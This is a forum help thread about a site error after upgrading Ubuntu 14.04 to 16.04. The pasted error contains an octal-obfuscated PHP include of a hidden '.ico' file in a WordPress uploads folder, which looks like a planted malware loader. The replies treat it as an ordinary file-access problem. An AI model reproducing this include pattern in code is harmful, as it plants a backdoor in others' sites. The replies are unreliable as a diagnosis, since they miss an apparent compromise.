Update Ubuntu 14.04.6 LTS to Ubuntu 16.04.6 LTS

Posted April 23, 2020 1.1k views
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Bobby gave me the following link to do the upgrade:

After I completed all the commands which were stated in the link, I was able to upgrade our system to 16.04.6 LTS. However, when I tried to access our website, I was getting the following errors:


@include “\057v\141r\057w\167w\057h\164m\154/\167p\055c\157n\164e\156t\057u\160l\157a\144s\057s\151t\145o\162i\147i\156-\167i\144g\145t\163/\056b\070a\0714\061a\143.\151c\157”;



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Hi @adminClam,

Can you confirm you are trying to open the website in the browser? If so, it seems like your WebService can’t read the file. Please check if PHP is still installed by typing in php -v

If it’s installed, I’ll recommend checking your WebService’s(Nginx/Apache) log or your php error log. The error should be displayed there. Once you have it, you should be able to act further upon it.

Having said that, if you are not sure about how to continue, post the error here and I’ll be happy to assist in pinpointing the issue.


  • Yes, I was trying to open the website from Google.
    Will you please let me know the path to get both logs?

    • First you’ll need to confirm what type of WebService you are using. To do so, you’ll need to SSH to your droplet and type in the following command

      netstat -tulpen | grep 80

      If you see Apache2 as an ouput of the command, you’ll be able to find the error log here - var/log/apache2/error.log

      If you see Nginx as an output, search for the error log here -/var/log/nginx/error.log

      Alternatively, you should be able to check your domain’s configuration to confirm the custom error log of your domains.